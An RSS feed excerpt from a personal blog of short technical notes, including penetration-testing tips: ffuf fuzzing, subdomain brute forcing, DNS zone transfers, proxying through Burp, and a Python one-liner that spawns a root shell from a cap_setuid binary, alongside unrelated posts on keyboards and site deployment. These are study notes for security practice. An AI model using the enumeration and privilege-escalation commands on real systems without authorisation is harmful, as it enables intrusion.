&lt;/ul&gt;</description></item><item><title>Encoding and decoding with base64, hex, etc on command line</title><link>https://slightlymore.co.uk/encoding-and-decoding-with-base64-hex-etc-on-command-line/</link><pubDate>Mon, 29 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/encoding-and-decoding-with-base64-hex-etc-on-command-line/</guid><description>&lt;h2 id="base64"&gt;base64&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;test&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;dGVzdAo=&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64 -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="hex"&gt;hex&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;test&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xxd -p
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;746573740a&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xxd -p -r
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="rot13"&gt;rot13&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;test&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;A-Za-z&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N-ZA-Mn-za-m&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;grfg&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;A-Za-z&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N-ZA-Mn-za-m&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Javascript deobfuscation tools</title><link>https://slightlymore.co.uk/javascript-deobfuscation-tools/</link><pubDate>Mon, 29 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/javascript-deobfuscation-tools/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://matthewfl.com/unPacker.html" target="_blank" rel="noopener"&gt;unpacker ↗️&lt;/a&gt;
 reverses jspacker. Signature &lt;code&gt;eval(function(p,a,c,k,e,r)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/encoding-and-decoding-with-base64-hex-etc-on-command-line"&gt;Encoding and decoding with base64, hex, etc on command line 🌱&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Fuzzing tools</title><link>https://slightlymore.co.uk/fuzzing-tools/</link><pubDate>Sat, 27 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/fuzzing-tools/</guid><description>&lt;h2 id="some-example-ffuf-commands"&gt;Some example &lt;code&gt;ffuf&lt;/code&gt; commands&lt;/h2&gt;
&lt;p&gt;In each case, &lt;code&gt;FUZZ&lt;/code&gt; is the placeholder for word replacement.**&lt;/p&gt;
&lt;h3 id="fuzzing-for-specific-extensions"&gt;Fuzzing for specific extensions&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ffuf &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -w /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -u http://example.com/target_dir/FUZZ 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -e .txt,.html,.bak &lt;span class="c1"&gt;# etc &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="recursive-fuzzing"&gt;Recursive fuzzing&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ffuf &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -u http://example.com/target_dir/FUZZ &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -recursion
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="fuzzing-a-post-parameter"&gt;Fuzzing a &lt;code&gt;POST&lt;/code&gt; parameter&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ffuf &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -w /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -u http://example.com/example.php &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -X POST &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s2"&gt;&amp;#34;y=FUZZ&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -ic
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="fuzzing-a-get-parameter"&gt;Fuzzing a &lt;code&gt;GET&lt;/code&gt; parameter&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ffuf &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -w /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -u http://example.com/example.php?x&lt;span class="o"&gt;=&lt;/span&gt;FUZZ &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -ic
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/brute-forcing-subdomain-enumeration"&gt;Brute forcing subdomain enumeration 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Brute forcing subdomain enumeration</title><link>https://slightlymore.co.uk/brute-forcing-subdomain-enumeration/</link><pubDate>Wed, 10 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/brute-forcing-subdomain-enumeration/</guid><description>&lt;h2 id="dnsenum"&gt;&lt;code&gt;dnsenum&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Performs various dns-level and osint searches to find sub domains.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnsenum &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --enum target.tld &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="gobuster"&gt;&lt;code&gt;gobuster&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;You can do virtual host subdomain brute forcing with gobuster. You can specify the target as a hostname or ip.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gobuster vhost &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -u http&lt;span class="o"&gt;[&lt;/span&gt;s&lt;span class="o"&gt;]&lt;/span&gt;://targetip&lt;span class="o"&gt;[&lt;/span&gt;:port&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --append-domain
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>DNS Zone transfers with dig</title><link>https://slightlymore.co.uk/dns-zone-transfers-with-dig/</link><pubDate>Wed, 10 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/dns-zone-transfers-with-dig/</guid><description>&lt;p&gt;You can do a DNS zone transfer using &lt;code&gt;dig&lt;/code&gt; by using &lt;code&gt;axfr&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig axfr @dns-server.com target.tld
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will return all dns records for &lt;code&gt;target.tld&lt;/code&gt;. It&amp;rsquo;s intended to copy all records from a primary to secondary server and should only happen if trusted, but misconfigured servers may allow unauthorised transfers allowing for enumeration without &lt;a href="https://slightlymore.co.uk/brute-forcing-subdomain-enumeration"&gt;brute forcing 🌿&lt;/a&gt;
.&lt;/p&gt;</description></item><item><title>Installing seclists on Kali</title><link>https://slightlymore.co.uk/installing-seclists-on-kali/</link><pubDate>Wed, 10 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/installing-seclists-on-kali/</guid><description>&lt;p&gt;The seclists from &lt;a href="https://github.com/danielmiessler/SecLists" target="_blank" rel="noopener"&gt;https://github.com/danielmiessler/SecLists ↗️&lt;/a&gt;
 can be installed on Kali using apt&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt install seclists
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;They&amp;rsquo;re installed into &lt;code&gt;/usr/share/seclists/&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Proxying cli traffic to burp suite using proxychains</title><link>https://slightlymore.co.uk/proxying-cli-traffic-to-burp-suite-using-proxychains/</link><pubDate>Sat, 06 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/proxying-cli-traffic-to-burp-suite-using-proxychains/</guid><description>&lt;p&gt;&lt;a href="https://github.com/haad/proxychains" target="_blank" rel="noopener"&gt;proxychains ↗️&lt;/a&gt;
 is a tool which forwards TCP traffic via a proxy. You run other applications via it. For example&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;proxychains curl www.example.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The relevant part of config for HTTP traffic is in &lt;code&gt;/etc/proxychains.conf&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell-session" data-lang="shell-session"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gp"&gt;#&lt;/span&gt;socks4 127.0.0.1 &lt;span class="m"&gt;9050&lt;/span&gt; &lt;span class="c1"&gt;# comment this line out. TODO: Why?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gp"&gt;#&lt;/span&gt; Add the following line
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;http 127.0.0.1 8080
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This config forwards the traffic to a proxy on 8080 which is the default for burp. Change the setup as needed for other tools.&lt;/p&gt;</description></item><item><title>How to get a root shell using results from getcap</title><link>https://slightlymore.co.uk/how-to-get-a-root-shell-using-results-from-getcap/</link><pubDate>Mon, 01 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/how-to-get-a-root-shell-using-results-from-getcap/</guid><description>&lt;p&gt;&lt;code&gt;getcap&lt;/code&gt; is a program to get capabilities of others. The one which is a way in is &lt;code&gt;cap_setuid&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getcap -r / 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If anything&amp;rsquo;s listed which lets you script, you can use that to get a shell. Here&amp;rsquo;s a Python example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s1"&gt;&amp;#39;import os; os.setuid(0); os.system(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Colemak has been fun, but the experiment has failed</title><link>https://slightlymore.co.uk/colemak-has-been-fun-but-the-experiment-has-failed/</link><pubDate>Thu, 27 Nov 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/colemak-has-been-fun-but-the-experiment-has-failed/</guid><description>&lt;p&gt;Just over a year ago I decided to bite the bullet and try out colemak. I&amp;rsquo;ve been at it full time on my Corne, by still using qwerty on traditional keyboards.&lt;/p&gt;
&lt;p&gt;My findings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;makes me a vim noob&lt;/li&gt;
&lt;li&gt;wpm has increased but plateaued because I want to retain qwerty memory&lt;/li&gt;
&lt;li&gt;what has been a success is Corne&lt;/li&gt;
&lt;li&gt;reflection: embrace qwerty and touch type on corne&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Useful search engines</title><link>https://slightlymore.co.uk/useful-search-engines/</link><pubDate>Thu, 27 Nov 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/useful-search-engines/</guid><description>&lt;h2 id="meta-search"&gt;Meta search&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.kagi.com" target="_blank" rel="noopener"&gt;Kagi ↗️&lt;/a&gt;
 premium (paid for and ad-free) search prioritising privacy and user experience. Reminiscent of the good-old-days&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/searxng/searxng" target="_blank" rel="noopener"&gt;SearXNG ↗️&lt;/a&gt;
 self-hostable, open-source metasearch engine that aggregates results from 200+ engines. There are hosted versions but privacy or veracity is not guaranteed&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="specialist"&gt;Specialist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.virustotal.com/" target="_blank" rel="noopener"&gt;Virus Total ↗️&lt;/a&gt;
 meta engine for checking files and their hashes against virus databases&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.shodan.io/" target="_blank" rel="noopener"&gt;Shodan ↗️&lt;/a&gt;
 is an engine to find devices connected to the internet&lt;/li&gt;
&lt;li&gt;&lt;a href="https://search.censys.io/" target="_blank" rel="noopener"&gt;Censys ↗️&lt;/a&gt;
 searches hosts, IPs, certificates&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploits-and-cve-databases"&gt;Exploits and CVE databases&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.exploit-db.com/" target="_blank" rel="noopener"&gt;ExploitDB ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.rapid7.com/db/" target="_blank" rel="noopener"&gt;Rapid7 ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vulnerability-lab.com/" target="_blank" rel="noopener"&gt;Vulnerability Lab ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nvd.nist.gov/search" target="_blank" rel="noopener"&gt;NIST NVD ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gtfobins.github.io/" target="_blank" rel="noopener"&gt;GTFOBins ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cirt.net/passwords/" target="_blank" rel="noopener"&gt;Default password database ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Planting the digital garden</title><link>https://slightlymore.co.uk/planting-the-digital-garden/</link><pubDate>Fri, 21 Nov 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/planting-the-digital-garden/</guid><description>&lt;p&gt;After writing &lt;a href="https://slightlymore.co.uk/tap-tap-is-this-thing-still-on"&gt;my notes on revamping the site 🌲&lt;/a&gt;
 I&amp;rsquo;ve stumbled across the new idea of digital gardening as an alternative to blogging. It&amp;rsquo;s not actually that new, but it is to me.&lt;/p&gt;
&lt;p&gt;What I like about it is how close it is to a Zettelkasten and how it allows for notes to be written and published in an unfinished state completely guilt-free. It reminds me of my first website all that time ago where there were pages which had nothing other than an under construction banner.&lt;/p&gt;</description></item><item><title>Deploying a Hugo site using Github Actions</title><link>https://slightlymore.co.uk/deploying-a-hugo-site-using-github-actions/</link><pubDate>Thu, 20 Nov 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/deploying-a-hugo-site-using-github-actions/</guid><description>&lt;p&gt;I thought I&amp;rsquo;d share my github action which deploys this site whenever a push a new file to &lt;code&gt;main&lt;/code&gt;. It compiles the site with &lt;code&gt;hugo&lt;/code&gt; and the &lt;code&gt;rsync&lt;/code&gt;s across to the server.&lt;/p&gt;
&lt;p&gt;This means that my workflow is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;fire up neovim and write&lt;/li&gt;
&lt;li&gt;commit and push&lt;/li&gt;
&lt;li&gt;sit back and wait for the site to update&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The code for the action is below. It requires a couple of secrets to be set up:&lt;/p&gt;</description></item><item><title>About</title><link>https://slightlymore.co.uk/about/</link><pubDate>Tue, 18 Nov 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/about/</guid><description>&lt;p&gt;This is yet another variation of a blog by me, Clinton. I am a software engineer working and living in Bath, UK. The goal (this time) is to be somewhere between a blog and a zettelkasten where I&amp;rsquo;ll ramble, write some articles, but also share short facts, notes, and resources.&lt;/p&gt;
&lt;p&gt;The content here is written by me (by which I mean, not AI.) I may use AI to help to plan articles but words will be my own. In fact, as an act of transparency, I&amp;rsquo;ll add Claude (or whatever) as a co-author and expressly note the input if I do use AI for anything anywhere.&lt;/p&gt;</description></item><item><title>Tap tap, is this thing still on?</title><link>https://slightlymore.co.uk/tap-tap-is-this-thing-still-on/</link><pubDate>Sat, 15 Nov 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/tap-tap-is-this-thing-still-on/</guid><description>&lt;p&gt;This website has been in a bit of a dilapidated state since, well, COVID really. Things have moved on a lot since then and I&amp;rsquo;d like to make a new start.&lt;/p&gt;
&lt;p&gt;Rather than do what I&amp;rsquo;ve done before and try to recover the site as it was and create a new theme for wordpress and whatnot, I&amp;rsquo;m redoing everything and hoping that&amp;rsquo;ll help. This time it&amp;rsquo;s just going to be a load of articles, thoughts, nonsense, and loosely based on the idea of a Zettelkasten which is something which I have had a lot of success with over the last few years using Obsidian. Hopefully it&amp;rsquo;ll feel informal enough that I&amp;rsquo;ll not feel pressure and just, you know, write.&lt;/p&gt;</description></item><item><title>How to set up git signing</title><link>https://slightlymore.co.uk/how-to-set-up-git-signing/</link><pubDate>Tue, 03 Sep 2024 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/how-to-set-up-git-signing/</guid><description>&lt;ol&gt;
&lt;li&gt;Generate SSH key with passphrase (ssh-keygen)&lt;/li&gt;
&lt;li&gt;Get keychain to remember passphrase &lt;code&gt;ssh-add --apple-use-keychain --apple-load-keychain ~/.ssh/id_ed25519&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Tell git to use SSH for signing: &lt;code&gt;git config --global gpg.format ssh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Tell git about the key &lt;code&gt;git config --global user.signingkey ~/.ssh/id_ed25519.pub&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Auto sign commits &lt;code&gt;git config --global commit.gpgsign true&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/how-to-get-keychain-to-remember-ssh-passphrase"&gt;How to get keychain to remember ssh passphrase 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>